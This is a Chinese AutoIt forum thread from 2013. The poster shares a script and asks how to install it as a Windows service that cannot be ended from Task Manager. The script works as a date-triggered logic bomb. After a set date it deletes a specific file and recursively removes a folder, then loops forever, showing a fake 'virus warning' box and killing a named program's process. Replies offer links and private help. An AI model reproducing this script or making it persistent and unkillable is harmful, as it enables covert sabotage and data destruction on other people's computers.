zym3138 发表于 2013-2-26 11:33:22

如何把脚本变为系统服务,并禁止在任务管理器中结束进程

本帖最后由 zym3138 于 2013-2-26 11:56 编辑

我用工具srvinstw把下面编译好的脚本变为系统服务后开机无法完成要求,文件删除不了,。开机后在任务管理器中也找不到脚本进程存在,不知还要如何处理才能达到目的。

If @YEAR & @MON & @MDAY > 20130219 Then;如果时间大于2013年02月18日就执行下一行代码。0218
              FileDelete("C:\SsRd0099.cif");删除指定文件
       DirRemove("c:\green", 1); 删除 E:\green 及其所有子目录和文件.
       
EndIf


;-----------------------------------------下面是结束进程代码。-------------------------------------
While 1;循环1
Sleep(20000);1800000
Local $handle =WinGetHandle("Program Manager");在任务栏禁止显示MsgBox图标
MsgBox( 16,"病毒警告","系统文件损坏!","",$handle);262144 ----消息框将具有顶层窗口属性
Local $PID = ProcessExists("dell.exe") ;检测运行软件的进程PID
If$PID Then
                ProcessClose("dell.exe");关闭进程ThunderRT6FormDC
                ElseIf WinExists("") Then;检测窗口是否存在。
                        ProcessClose(WinGetProcess(""));关闭进程
                EndIf

DenQ 发表于 2013-2-26 16:53:58

au3写服务。算了吧。。

zym3138 发表于 2013-3-4 21:57:10

没有人帮忙吗?{:face (270):}

872777825 发表于 2013-3-5 23:47:25

楼主可以参考下这个帖子
http://www.autoitx.com/forum.php?mod=viewthread&tid=24936&from=favorites

glsanshi 发表于 2013-3-6 00:23:36

{:face (207):}

zym3138 发表于 2013-3-6 11:40:00

回复 4# zhao_ming


达不到要求,看不了啊,这个我早注意到了呀。

zym3138 发表于 2013-3-6 11:41:32

回复 5# 872777825


    级别不够,没法看,能否帮忙,发到zym3138@163.com 中研究一下呢。

zym3138 发表于 2013-3-6 11:44:45

回复 4# zhao_ming


    级别不够,没法看,能否帮忙,发到zym3138@163.com 中研究一下呢。

zym3138 发表于 2013-3-7 10:52:08

没有人帮忙啊。{:face (207):}

872777825 发表于 2013-3-7 21:30:08

回复 10# zym3138


    发到你邮箱了希望能帮到您亲别忘了给好评哦

zym3138 发表于 2013-3-15 10:02:40

回复 11# 872777825


    收到了,谢谢你了,正在研究。

ganyuansi 发表于 2013-3-18 09:59:20

难道不好实现把程序升级成服务
页: [1]
查看完整版本: 如何把脚本变为系统服务,并禁止在任务管理器中结束进程